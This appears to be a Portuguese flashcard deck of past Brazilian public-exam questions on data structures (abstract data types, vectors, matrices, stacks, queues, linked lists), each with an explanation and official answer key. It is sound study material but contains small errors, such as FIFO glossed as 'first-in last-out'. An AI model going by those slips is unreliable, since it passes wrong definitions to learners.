  1. (CESPE/CEBRASPE – 2020 – Ministério da Economia)

A respeito de dados, informação, conhecimento e inteligência, julgue o próximo item.

Embora com características particulares, dados não estruturados podem ser classificados em sua totalidade, assim como os dados estruturados.

A

Dados não estruturados não possuem uma estrutura pré-definida e, portanto, é computacionalmente muito difícil que sejam classificados ou processados por meio de métodos automatizados.

Já os dados estruturados possuem uma
estrutura pré-definida, tornando mais fácil de serem classificados ou processados por métodos automatizados.

Ou seja, os dois não são a mesma coisa para serem classificados em sua totalidade.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
41
Q
  1. (FGV – 2015 – DPE/MT – Analista de Sistemas) No desenvolvimento de sistemas, a escolha de
    estruturas de dados em memória é especialmente relevante.

Dentre outras classificações, é possível
agrupar essas estruturas em lineares e não lineares, conforme a quantidade de sucessores e antecessores que os elementos da estrutura possam ter.

Assinale a opção que apresenta, respectivamente, estruturas de dados lineares e não lineares.

a) Tabela de dispersão e fila.
b) Estrutura de seleção e pilha.
c) Pilha e estrutura de seleção.
d) Pilha e árvore binária de busca.
e) Fila e pilha.

A

Além dessa classificação, existe outra também importante: Estruturas Lineares e Estruturas Não-Lineares.

As Estruturas Lineares são aquelas em que cada elemento pode ter um único predecessor (exceto o primeiro elemento) e um único sucessor (exceto o último elemento). Como exemplo, podemos citar Listas, Pilhas, Filas, Arranjos, entre outros.

Já as Estruturas Não-Lineares são aquelas em que cada elemento pode ter mais de um predecessor e/ou mais de um sucessor. Como exemplo, podemos citar Árvores, Grafos e Tabelas de Dispersão.

Essa é uma classificação muito importante e muito simples de entender.

Pessoal, vocês perceberão que esse assunto é
cobrado de maneira superficial na maioria das questões, mas algumas são nível doutorado!

Conforme vimos em aula, trata-se de pilha e árvore respectivamente.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
42
Q
  1. (CESPE – 2010 – DETRAN/ES – Analista de Sistemas)

Um tipo abstrato de dados apresenta uma parte destinada à implementação e outra à especificação. Na primeira, são descritas, em forma sintática e semântica, as operações que podem ser realizadas; na segunda, os objetos e as operações são representados por meio de representação, operação e inicialização.

A

A Especificação Sintática define o nome do tipo, suas operações e o tipo dos argumentos das operações, definindo a assinatura do TAD.

A Especificação Semântica descreve propriedades e efeitos das operações de
forma independente de uma implementação específica.

E a Especificação de Restrições estabelece as
condições que devem ser satisfeitas antes e depois da aplicação das operações.

Conforme vimos em aula, temos duas partes: Especificação e Implementação. Sendo que a especificação se divide em Especificação Sintática e Semântica e Implementação se divide em Representação e Algoritmos.

Logo, a questão está invertida: na segunda, são descritas, em forma sintática e semântica, as operações que podem ser realizadas; na primeira, os objetos e as operações são representados por meio de representação,
operação e inicialização.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
43
Q
  1. (CESPE – 2010 – TRT/RN – Analista de Sistemas)

O tipo abstrato de dados consiste em um modelo matemático (v,o), em que v é um conjunto de valores e o é um conjunto de operações que podem ser realizadas sobre valores.

A

Por fim, vamos falar sobre Tipos Abstratos de Dados (TAD). Podemos defini-lo como um modelo matemático (v,o), em que v é um conjunto de valores e o é um conjunto de operações que podem ser realizadas sobre
valores. Eu sei, essa definição é horrível de entender! Para compreender esse conceito, basta lembrar de abstração, i.e., apresentar interfaces e esconder detalhes.

Conforme vimos em aula, a questão está conforme nós descrevemos em nossa aula. Essa é a definição formal de Tipos Abstratos de Dados.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
44
Q
  1. (CESPE – 2010 – BASA – Analista de Sistemas)

A escolha de estruturas internas de dados utilizados por um programa pode ser organizada a partir de TADs que definem classes de objetos com características
distintas.

A

Em outras palavras, o nível semântico trata do comportamento de um tipo abstrato de dados; e o nível sintático trata da apresentação de um tipo abstrato de dados.

Podemos dizer, então, que o TAD encapsula uma estrutura de dados com características semelhantes – podendo ser formado por outros TADs –, e esconde a efetiva implementação dessa estrutura de quem a manipula.

Conforme vimos em aula, definem classes de objetos com características semelhantes.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
45
Q
  1. (CESPE – 2010 – BASA – Analista de Sistemas) A descrição dos parâmetros das operações e os efeitos da ativação das operações representam, respectivamente, os níveis sintático e semântico em que ocorre a especificação dos TADs.
A

A Especificação Sintática define o nome do tipo, suas operações e o tipo dos argumentos das operações, definindo a assinatura do TAD.

A Especificação Semântica descreve propriedades e efeitos das operações de
forma independente de uma implementação específica.

E a Especificação de Restrições estabelece as
condições que devem ser satisfeitas antes e depois da aplicação das operações.

Conforme vimos em aula, realmente se trata respectivamente do nível sintático e semântico.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
46
Q
  1. (FCC – 2010 – TRE/AM – Analista de Sistemas) Em relação aos tipos abstratos de dados - TAD, é correto afirmar:

a) O TAD não encapsula a estrutura de dados para permitir que os usuários possam ter acesso a todas as operações sobre esses dados.

b) Na transferência de dados de uma pilha para outra, não é necessário saber como a pilha é
efetivamente implementada.

c) Alterações na implementação de um TAD implicam em alterações em seu uso.

d) Um programador pode alterar os dados armazenados, mesmo que não tenha conhecimento de sua implementação.

e) TAD é um tipo de dados que esconde a sua implementação de quem o manipula.

A

Em outras palavras, o nível semântico trata do comportamento de um tipo abstrato de dados; e o nível sintático trata da apresentação de um tipo abstrato de dados. Podemos dizer, então, que o TAD encapsula uma estrutura de dados com características semelhantes – podendo ser formado por outros TADs –, e esconde a efetiva implementação dessa estrutura de quem a manipula.

(a) Errado, ele encapsula a estrutura de dados;

(b) Correto, não é necessário saber a implementação, porém a FCC marcou o gabarito como errado;

(c) Errado, a implementação pode mudar livremente;

(d) Errado, sem conhecimento da implementação, ele não poderá alterar dados armazenados;

(e) Correto, esse item também está correto

(Lembrem-se: Na FCC, muitas vezes tempos que marcar a mais correta ou a menos errada – infelizmente!).

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
47
Q
  1. (FCC – 2009 – TRE/PI – Analista de Sistemas) Em relação a tipos abstratos de dados, é correto afirmar que:

a) o TAD não encapsula a estrutura de dados para permitir que os usuários possam ter acesso a todas as operações disponibilizadas sobre esses dados.

b) algumas pilhas admitem serem declaradas como tipos abstratos de dados.

c) filas não permitem declaração como tipos abstratos de dados.

d) os tipos abstratos de dados podem ser formados pela união de tipos de dados primitivos, mas não por outros tipos abstratos de dados.

e) são tipos de dados que escondem a sua implementação de quem o manipula; de maneira geral as operações sobre estes dados são executadas sem que se saiba como isso é feito.

A

Em outras palavras, o nível semântico trata do comportamento de um tipo abstrato de dados; e o nível sintático trata da apresentação de um tipo abstrato de dados. Podemos dizer, então, que o TAD encapsula uma estrutura de dados com características semelhantes – podendo ser formado por outros TADs –, e esconde a efetiva implementação dessa estrutura de quem a manipula.

(a) Errado. Pelo contrário, ele encapsula a estrutura de dados de modo que o usuário não tem acesso a implementação das operações;

(b) Correto. Todas elas admitem, porém a FCC marcou o gabarito como errado;

(c) Errado. Elas permitem a declaração como tipos abstratos de dados;

(d) Errado. Um TAD pode ser formado por outros TADs;

(e) Correto. Escondem a implementação de quem os manipula.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
48
Q
  1. (IBFC – 2022 – DETRAN-AM)

Relacione as duas colunas quanto aos respectivos tipos de Estruturas de Dados:

(A) Vetores
(B) Registros
(C) Matrizes

(1) Homogêneas
(2) Heterogêneas

a) A2 - B1 - C2
b) A1 - B1 - C2
c) A2 - B2 - C1
d) A1 - B2 - C1

A

Por definição, temos que:

  • Estruturas de dados homogêneas: seus elementos possuem o mesmo tipo de dado básico.
  • Estrutura de dados heterogênea: seus elementos possuem tipos de dados distintos.

Via de regra, um vetor e uma matriz possuem sempre o mesmo tipo de dados: um vetor de inteiro, um vetor de string, um vetor de booleanos, e assim por diante. Portanto, são homogêneos.

Já um registro é um agrupamento de várias variáveis, cada uma podendo ter um tipo de dados diferente. Portanto, é heterogêneo.

Assim, A1 – B2 – C1.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
49
Q
  1. (IADES – 2022 – ADASA)

Com base nas definições referentes à estrutura de dados digitais, à vetorização e à digitalização, assinale a alternativa correta.

a) A estrutura vetorial é composta por uma grade homogênea de linhas e colunas.

b) A digitalização é o processo de mudança de documentos cartográficos do formato vetorial para o formato raster.

c) A digitalização é o processo de transformação de documentos cartográficos do formato vetorial para o formato digital.

d) A vetorização é o processo de conversão de um arquivo vetorial para o formato raster.

e) A estrutura matricial é representada por uma matriz com “n” linhas e “m” colunas, na qual cada célula apresenta um valor “z” que pode indicar, por exemplo, uma cor ou um tom de cinza a ele atribuída.

A

Vamos analisar item a item:

a) A estrutura vetorial é composta por uma grade homogênea de linhas e colunas.
A estrutura vetorial é linear e homogênea. O correto seria dizer que a estrutura matricial é composta por uma grade homogênea de linhas e colunas, e não vetorial. Falso.

b) A digitalização é o processo de mudança de documentos cartográficos do formato vetorial para o formato raster.
A digitalização vai transformar documentos analógicos em formato digital. Falso.

c) A digitalização é o processo de transformação de documentos cartográficos do formato vetorial para o formato digital.
A digitalização vai transformar documentos analógicos em formato digital. Falso.

d) A vetorização é o processo de conversão de um arquivo vetorial para o formato raster.
A vetorização converte um arquivo raster em arquivo vetorial. Falso.

e) A estrutura matricial é representada por uma matriz com “n” linhas e “m” colunas, na qual cada célula apresenta um valor “z” que pode indicar, por exemplo, uma cor ou um tom de cinza a ele atribuída. Esta é uma boa definição de matriz. Correto!

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
50
Q
  1. (UFPRE – 2022 – UFPRE)

A estrutura de dados “vetor” (array) é um arranjo unidimensional que pode acomodar múltiplos dados.

Sobre essas estruturas de dados, assinale a alternativa incorreta.

a) Os dados de um vetor são mapeados numa área contígua da memória.

b) Os dados de um vetor são do mesmo tipo.

c) Cada um dos dados de um vetor pode ser acessado informando-se o identificador do vetor e o inteiro que indica a ordem do dado na sequência.

d) Os dados de um vetor são armazenados na memória ordenadamente, em modo crescente.

e) Pode-se atribuir um dado a um elemento de qualquer posição do vetor, independentemente do que foi atribuído aos demais elementos.

A

A questão quer a alternativa falsa. Vamos analisar item a item:

a) Os dados de um vetor são mapeados numa área contígua da memória.
É isso mesmo, os vetores ficam numa área sequencial ou contígua da memória. Verdadeiro.

b) Os dados de um vetor são do mesmo tipo.
De fato, o vetor é homogêneo, ou seja, todos os seus elementos têm o mesmo tipo básico. Verdadeiro.

c) Cada um dos dados de um vetor pode ser acessado informando-se o identificador do vetor e o inteiro que indica a ordem do dado na sequência.
Isso mesmo, os dados do vetor podem ser acessados considerando um valor inteiro. Por exemplo, iniciando se no 0, vetor[0] acessa o elemento na primeira posição, enquanto vetor[3] acessa o elemento na quarta posição. Verdadeiro.

d) Os dados de um vetor são armazenados na memória ordenadamente, em modo crescente.
Não é regra que os dados em si do vetor estejam armazenados de modo crescente. Eles podem estar, mas não é regra. Falso.

e) Pode-se atribuir um dado a um elemento de qualquer posição do vetor, independentemente do que foi atribuído aos demais elementos.
Sim, um dado pode ser atribuído a qualquer posição, e os valores das demais posições são irrelevantes. Verdadeiro.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
51
Q
  1. (FUNDATEC – 2022 – Prefeitura de Restinga Sêca - RS)

Assinale a estrutura de dados linear e estática, caracterizada por uma sequência de elementos de um mesmo tipo de dado e que são armazenados em posições consecutivas de memória.

a) Matriz.
b) Lista ligada.
c) Registro.
d) Árvore binária.
e) Vetor.

A

Vamos de item a item:

a) Matriz.
Matriz é uma estrutura de dados bidimensional, e não linear. Falso.

b) Lista ligada.
Uma lista ligada não tem, necessariamente, os seus elementos em posições consecutivas de memória. Falso.

c) Registro.
Um registro não necessariamente tem os elementos do mesmo tipo. Falso.

d) Árvore binária.
Uma árvore binária é uma estrutura hierárquica, e não linear. Falso.

e) Vetor.
A definição do enunciado é uma ótima definição de vetor. Verdadeiro.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
52
Q
  1. (FCC – 2019 – SANASA Campinas)

Um Analista de TI necessitou usar uma estrutura de dados simples que utilizasse pouca carga de memória de armazenamento.

Tal estrutura é vista como um arranjo cuja
capacidade pode variar dinamicamente, isto é, se o espaço reservado for totalmente ocupado e algum espaço adicional for necessário, este será alocado automaticamente não havendo a necessidade de se preocupar com a capacidade de armazenamento ou sua ocupação.

Contudo, para que se possa utilizar essa coleção de dados de forma adequada, algumas informações necessárias devem ser mantidas
internamente, tais como a quantidade total de elementos e a última posição ocupada na coleção, conforme exemplificado na figura abaixo.

Trata-se da estrutura linear unidimensional

a) string.
b) hashing.
c) árvore.
d) matriz.
e) vetor.

A

Vamos analisar item a item:

a) string.
Para ser uma string, deveria armazenar caracteres, o que não é informado no enunciado. Falso.

b) hashing.
Para ser hashing, deveria ser mencionado um algoritmo de hashing, o que não é informado. Falso.

c) árvore.
Para ser uma árvore, deveriam ser mencionadas estruturas como nós e filhos, o que não é o caso. Falso.

d) matriz.
Para ser uma matriz, a estrutura deveria ter linhas e colunas. Mas ela é uma estrutura unidirecional. Falso.

e) vetor.
As informações ditas no enunciado se referem a um vetor. Verdadeiro.

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
53
Q
  1. (FCC – 2012 – TJ-RJ) O algoritmo conhecido como busca binária é um algoritmo de desempenho ótimo para encontrar a posição de um item em

a) uma árvore B.
b) uma lista ligada ordenada.
c) uma árvore de busca binária.
d) um heap binário.
e) um vetor ordenado.

A

O algoritmo de busca binária realiza buscas em uma estrutura linear e ordenada, que permita acesso direto aos seus elementos por meio de um índice numérico, e dividindo a estrutura ao meio e buscando em suas metades.

Por isso, vamos analisar item a item:

a) uma árvore B.
Uma árvore é uma estrutura hierarquizada, e não linear. Falso.

b) uma lista ligada ordenada.
Uma lista ligada não permite o acesso direto aos seus elementos por meio de um índice numérico. Falso.

c) uma árvore de busca binária.
Uma árvore é uma estrutura hierarquizada, e não linear. Falso.

d) um heap binário.
Um heap binário não está necessariamente com os dados ordenados. Falso.

e) um vetor ordenado.
Essa é a resposta correta, pois o vetor está ordenado, e permite acesso direto aos elementos por um índice numérico. Correto!

Gabarito: Letra E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
54
Q
  1. (FCC - 2009 - TJ-PA - Analista Judiciário - Tecnologia da Informação)

Considere uma estrutura de dados do tipo vetor. Com respeito a tal estrutura, é correto que seus componentes são, caracteristicamente,

a) heterogêneos e com acesso FIFO.
b) heterogêneos e com acesso LIFO.
c) heterogêneos e com acesso indexado-sequencial.
d) homogêneos e acesso não indexado.
e) homogêneos e de acesso aleatório por intermédio de índices.

A

Vetores possuem componentes homogêneos, i.e., todos os dados são de apenas um único tipo básico de dados.

Ademais, seu acesso é aleatório por meio de índices!

Bem, seria mais correto dizer que seu acesso é
direto.

Gabarito: E

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
55
Q
  1. (CETAP - 2010 - AL-RR - Analista de Sistemas) Matrizes são estruturas de dados de n-dimensões. Por simplicidade, chamaremos de matrizes as matrizes bidimensionais numéricas (que armazenam números inteiros).
    Sendo assim, marque a alternativa INCORRETA.

a) Uma matriz de m linhas e n colunas contêm (m * n) dados.

b) Uma matriz pode ser representada utilizando listas ligadas.

c) A soma dos elementos de uma matriz pode ser calculada fazendo dois laços aninhados, um sobre as linhas e o outro sobre as colunas.

d) A soma de duas matrizes de m linhas e n colunas resulta em uma matriz de 2m linhas e 2n colunas.

e) O produto de duas matrizes de n linhas e n colunas resulta em uma matriz de n linhas e n colunas.

A

(a) Perfeito, são M x N colunas;

(b) Perfeito, podem ser utilizadas listas ligadas;

(c) Perfeito, um laço para as linhas e outro para as colunas;

(d) Não, a soma de uma Matriz 3x5 com outra Matriz 3x5 resulta em uma Matriz 3x5;

(e) Perfeito, uma Matriz 2x2 multiplicada por outra Matriz 2x2 resulta em uma Matriz 2x2.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
56
Q
  1. (CESPE - 2010 - Banco da Amazônia - Técnico Científico - Tecnologia da Informação - Arquitetura de Tecnologia)

Os dados armazenados em uma estrutura do tipo matriz não podem ser acessados de
maneira aleatória. Portanto, usa-se normalmente uma matriz quando o volume de inserção e remoção de dados é maior que o volume de leitura dos elementos armazenados.

A

Podem, sim, ser acessados de maneira aleatória ou direta, por meio de seus índices. Ademais, usa-se normalmente uma matriz quando o volume de leitura de elementos armazenados é maior que o volume de inserção e remoção de dados. Ora, é possível fazer acesso direto, logo é eficiente mesmo com alto volume de leitura.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
57
Q
  1. (CESPE - 2008 - TRT - 5ª Região (BA) - Técnico Judiciário - Tecnologia da Informação)

Entre alguns tipos de estrutura de dados, podem ser citados os vetores, as pilhas e as filas.

A

Questão extremamente simples – realmente são exemplos de estruturas de dados.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
58
Q
  1. (CESPE - 2011 - EBC - Analista - Engenharia de Software)

Vetores são utilizados quando estruturas
indexadas necessitam de mais que um índice para identificar um de seus elementos.

A

Não! Se são necessários mais de um índice, utilizam-se Matrizes! Vetores necessitam apenas de um índice.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
59
Q
  1. (CESPE - 2010 - TRE-BA - Analista Judiciário - Análise de Sistemas)

Vetores podem ser considerados como listas de informações armazenadas em posição contígua na memória.

A

Perfeito! Vetores podem ser considerados como listas de informações? Sim!

As informações (dados) são armazenadas em posição contígua na memória? Sim, em geral são armazenados de forma contígua.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
60
Q
  1. (CESPE - 2010 - TRE-BA - Analista Judiciário - Análise de Sistemas)

Uma posição específica de um vetor pode ser acessada diretamente por meio de seu índice.

A

Perfeito! Observem que vetores são diferentes de listas, nesse sentido. Eu posso acessar qualquer elemento diretamente por meio de seu índice.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
61
Q
  1. (UFV – 2022 – UFV-MG) Considere as afirmativas a seguir sobre estrutura de dados:

I. Uma estrutura de dados heterogênea envolve a utilização de mais de um tipo básico de dado.

II. Uma lista encadeada pode ser definida como uma sequência de células em que cada célula contém um elemento e o endereço da célula seguinte.

III. Uma pilha é uma estrutura de dados baseada no princípio “First In First Out” (FIFO).

IV. Filas e pilhas são estruturas de dados lineares; o organograma de uma empresa pode ser representado por uma estrutura de árvore.

Está CORRETO o que se afirma, apenas, em:
a) I e II.
b) I e III.
c) I, II e IV.
d) II, III e IV.

A

Vamos analisar item a item:

I. Uma estrutura de dados heterogênea envolve a utilização de mais de um tipo básico de dado.
Isso mesmo. Significa que cada elemento da estrutura de dados pode ter mais de um tipo básico de dado. Por exemplo, um inteiro, uma string, um booleano, etc. Verdadeiro.

II. Uma lista encadeada pode ser definida como uma sequência de células em que cada célula contém um elemento e o endereço da célula seguinte. Essa é a definição de lista encadeada simples. Certo.

III. Uma pilha é uma estrutura de dados baseada no princípio “First In First Out” (FIFO).
Na verdade, a pilha segue a estrutura de dados com a regra LIFO (last-in first-out), ou seja, o último a entrar é o primeiro a sair. Falso.

IV. Filas e pilhas são estruturas de dados lineares; o organograma de uma empresa pode ser representado por uma estrutura de árvore.
Filas e pilhas são estruturas lineares de fato, e uma árvore é uma estrutura hierárquica, e, por isso, um organograma de uma empresa pode ser representado por ela. Verdadeiro.

Corretas: I, II e IV.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
62
Q
  1. (Quadrix – 2022 – PRODAM-AM)

Assinale a alternativa que apresenta o nome do tipo de estrutura em que cada elemento armazena um ou vários dados e um ponteiro para o próximo elemento, que permite o encadeamento e mantém a estrutura linear, sendo que, nesse tipo de estrutura, são
abordadas as seguintes operações: inserir no início da lista; inserir no fim; consultar toda a lista; remover um elemento qualquer dela; e esvaziá-la.

a) lista simplesmente encadeada e não ordenada

b) lista simplesmente encadeada e ordenada

c) lista duplamente encadeada e não ordenada

d) lista duplamente encadeada e não ordenada

e) lista triplamente encadeada

A

O enunciado fala em ponteiro para o próximo elemento, e não cita ponteiro para o elemento anterior.

Portanto, dá para inferir que se trata de uma lista simplesmente encadeada.

O enunciado também não fala em ordenação. Portanto, seria uma lista simplesmente encadeada e não ordenada.

Gabarito: Letra A

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
63
Q
  1. (FUNDATEC – 2022 – IF-RS)

Que tipo de estrutura de dados está representada na Figura 1 abaixo?

a) Árvore binária.
b) Fila.
c) Pilha.
d) Lista ligada.
e) Vetor.

A

Note que cada elemento possui um ponteiro para o próximo, exceto o último, que aponta para “null”. Trata-se de uma lista ligada.

Como a questão não fala sobre regras de inserção e remoção (LIFO ou FIFO), não pode ser fila ou pilha.

Como é uma estrutura sequencial, não pode ser árvore, que é uma estrutura hierárquica.

Para ser um vetor, deveria ter seus elementos em posições de memória sequenciais, e não utilizando ponteiros.

Portanto, é uma lista ligada.

Gabarito: Letra D

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
64
Q
  1. (IBADE – 2022 – SES-MG)

Uma estrutura de dados onde existe uma coleção ordenada de entidades sendo a metodologia de busca com base no deslocamento relativo ao primeiro (cabeça) da coleção, chama-se:

a) árvore.
b) lista.
c) pilha.
d) fila.
e) árvore binária.

A

Vamos analisar item a item:

a) árvore.
Em uma árvore, o deslocamento é feito a partir do nó raiz, e não da cabeça. Falso.

b) lista.
Em uma lista, temos a referência ao primeiro elemento, que é chamado de cabeça. Depois, cada elemento tem um apontamento para o próximo. Dessa forma, para buscar, temos que, de fato, ir da cabeça e seguir aos seguintes.
Verdadeiro.

c) pilha.
Em uma pilha, temos o topo da pilha. Neste caso, temos apenas 3 operações: top, para ver qual elemento está no topo da pilha; pop, para remover o elemento do topo da pilha; e push, para incluir um elemento na pilha. Não há
operação para deslocar sobre ela. Falso.

d) fila.
Em uma fila, temos duas extremidades, e duas operações: uma para inserir um elemento ao final, e outra pra retirar do início. Não é o caso de haver uma “cabeça” inicial para percorrer as demais. Falso.

e) árvore binária.
Em uma árvore binária, percorre-se do nó raiz, e não da cabeça. Falso.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
65
Q
  1. CESPE/CEBRASPE – 2019 – MPC-PA)

Assinale a opção que apresenta a denominação da estrutura de dados constituída por um conjunto de elementos individualizados, em que cada um dos elementos — com exceção dos elementos inicial e final — referencia sempre outros dois, um que o antecede e outro que o sucede.

a) lista circular
b) grafo
c) lista duplamente encadeada
d) árvore
e) pilha

A

Vamos analisar item a item:

a) lista circular
Uma lista em que cada elemento referencia o outro, porém com uma diferença: o último elemento referencia o primeiro também. A questão deixa claro que quer uma estrutrua de dados em que os elementos inicial e final não
estejam ligados. Falso.

b) Grafo
Estrutura de dados com um conjunto de vértices ligados entre si por arestas. Falso.

c) lista duplamente encadeada
Uma lista em que cada elemento referencia o outro em ambas as direções: um elemento referencia o anterior e o próximo, exceto os elementos inicial e final. É isso aí. Verdadeiro.

d) Árvore
Estrutura de dados em que um nó possui 1 ou mais filhos, mas cada filho possui somente um pai. Falso.

e) pilha
Estrutura de dados usando a regra LIFO, last-in first-out, ou seja, o último a entrar é o primeiro a sair. Falso.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
66
Q
  1. (CESPE/CEBRASPE – 2017 – TRT-7)

Considere uma estrutura de dados em que cada elemento armazenado apresenta ligações de apontamento com seu sucessor e com o seu predecessor, o que possibilita que ela seja percorrida em qualquer sentido. Trata-se de

a) uma fila.
b) um grafo.
c) uma lista duplamente encadeada.
d) uma pilha.

A

Vamos analisar item a item:

a) uma fila.
Estrutura de dados que segue a lógica FIFO (first-in, first-out), ou “primeiro a entrar é o primeiro a sair”. Os elementos são inseridos no fim da fila e removidos no início. Falso.

b) um grafo.
Grafo é uma estrutura de dados com um conjunto de vértices e arestas que os ligam. Falso.

c) uma lista duplamente encadeada.
É uma estrutura de dados que armazena uma sequência de elementos que possuem ligações de apontamento, ou ponteiros, entre si, em ambas as direções. Isso permite percorrer a lista em qualquer sentido. Verdadeiro.

d) uma pilha.
Estrutura de dados que segue a lógica LIFO, ou last-in first-out, que significa “o último a entrar é o primeiro a sair”. Falso.

Gabarito: Letra C

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
67
Q
  1. (CESPE/CEBRASPE – 2018 – BNB)

Uma lista encadeada é basicamente uma estrutura de dados em lista em que cada nó possui três campos: um para os dados, um para o endereço do nó anterior, e outro para o endereço do nó posterior.

A

Este é o conceito de lista duplamente encadeada, e não da lista encadeada. No caso, uma lista encadeada possui um endereço apenas para o nó posterior, e não para o anterior.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
68
Q
  1. (CESPE/CEBRASPE – 2018 – BNB)

Uma lista encadeada é basicamente uma estrutura de dados em lista em que cada nó possui três campos: um para os dados, um para o endereço do nó anterior, e outro para o endereço do nó posterior.

A

Este é o conceito de lista duplamente encadeada, e não da lista encadeada. No caso, uma lista encadeada possui um endereço apenas para o nó posterior, e não para o anterior.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
69
Q
  1. (FCC – 2013 – DPE-SP) Em uma ___I____ , para cada novo elemento inserido na estrutura, alocamos um espaço de memória para armazená-lo. Desta forma, o espaço total de memória gasto pela estrutura é proporcional ao número de elementos nela armazenados.

No entanto, não podemos garantir que os elementos armazenados na lista ocuparão um espaço de ___II____ contíguo, portanto, não temos acesso direto aos elementos da lista.

Para que seja possível percorrer todos os elementos da ____III____ , devemos explicitamente guardar o encadeamento dos elementos, o que é feito armazenando-se, junto com a informação de cada elemento, um ______IV______ para o próximo elemento da ____V____ .

As lacunas de I a V, são preenchidas, corretas e respectivamente, por:

a) estrutura de pilha - tamanho - memória - array - pilha
b) lista encadeada - memória - lista - ponteiro - lista
c) estrutura de filas (FIFO) - disco - sequência - buffer - memória alocada
d) arquitetura de memória primária - tamanho - fila - contador sequencial - conexão
e) arquitetura TCP/IP - tamanho fixo - conexão - número de roteamento - tabela MTU

A

Podemos perceber que o enunciado está falando de listas encadeadas, já que, para cada novo elemento, alocamos um espaço na memória para armazená-lo, e não necessariamente estes espaços são contíguos, de modo que são ligados entre si por ponteiros ou referências. Portanto, é letra B.

A letra a) fala de pilha, portanto está errada já no primeiro item.

A letra c) fala de filas, e, portanto, também está errada.

Os demais itens d) e e) não têm nada a ver com o assunto.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
70
Q
  1. (FCC – FAURGS – SES-RS) Qual é a afirmativa correta sobre estruturas de dados?

a) Uma pilha armazena os dados em uma estrutura de dados do tipo árvore binária.

b) Listas encadeadas são estruturas que encadeiam os elementos através de um ponteiro no qual todos os elementos, exceto o último, apontam para o seguinte.

c) Em uma pilha, o primeiro elemento a ser inserido será o primeiro a ser retirado, ou seja, adicionam-se itens no fim e removem-se do início.

d) Uma fila armazena os dados em uma estrutura de dados do tipo grafo.

e) Em uma fila, o primeiro elemento a ser inserido será o último a ser retirado, ou seja, adicionam-se e removem- se itens no início.

A

Vamos analisar item a item:

a) Uma pilha armazena os dados em uma estrutura de dados do tipo árvore binária. Não. Uma pilha armazena dados em uma estrutura de dados do tipo lista, seguindo a regra LIFO (last-in first-out), ou
seja, o último a entrar é o primeiro a sair. Falso.

b) Listas encadeadas são estruturas que encadeiam os elementos através de um ponteiro no qual todos os elementos, exceto o último, apontam para o seguinte. Definição correta de listas encadeadas simples. Verdadeiro.

c) Em uma pilha, o primeiro elemento a ser inserido será o primeiro a ser retirado, ou seja, adicionam-se itens no fim e removem-se do início. Na verdade, uma pilha armazena dados em uma estrutura de dados do tipo lista, seguindo a regra LIFO (last-in firstout),
ou seja, o último a entrar é o primeiro a sair. Falso.

d) Uma fila armazena os dados em uma estrutura de dados do tipo grafo. Não. Uma fila armazena dados em uma estrutura de dados do tipo lista, seguindo a regra FIFO (first-in last-out), ou seja, o primeiro a entrar é o primeiro a sair. Falso.

e) Em uma fila, o primeiro elemento a ser inserido será o último a ser retirado, ou seja, adicionam-se e removem- se itens no início. Não. A regra da fila é a FIFO (first-in last-out), ou seja, o primeiro a entrar é o primeiro a sair. Falso.

Gabarito: Letra B

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
71
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados) O tempo de busca de um elemento em uma lista duplamente encadeada é igual à metade do tempo da busca de um elemento em uma lista simplesmente encadeada.
A

Não! Apesar de permitir que se percorra a lista em ambas as direções, em média ambas possuem o mesmo tempo de busca de um elemento.

Gabarito: Errado

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
72
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados) Em algumas implementações, uma lista vazia pode ter um único nó, chamado de sentinela, nó cabeça ou header.

Entre suas possíveis funções, inclui-se simplificar a implementação de algumas operações realizadas sobre a lista, como inserir novos dados, recuperar o tamanho da lista, entre outras.

A

Perfeito! Ele simplifica a implementação de algumas operações porque se guarda o endereço do primeiro e do último elemento de uma estrutura de dados de modo que o programador não precisa conhecer a estrutura de implementação da lista para realizar suas operações.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
73
Q
  1. (CESPE - 2012 - Banco da Amazônia - Técnico Científico - Administração de Dados) Estruturas ligadas como listas encadeadas superam a limitação das matrizes que não podem alterar seu tamanho inicial.
A

Perfeito! Listas Encadeadas admitem alocação dinâmica, em contraste com as matrizes.

Gabarito: Correto

How well did you know this?
1
Not at all
2
3
4
5
Perfectly
74
Q
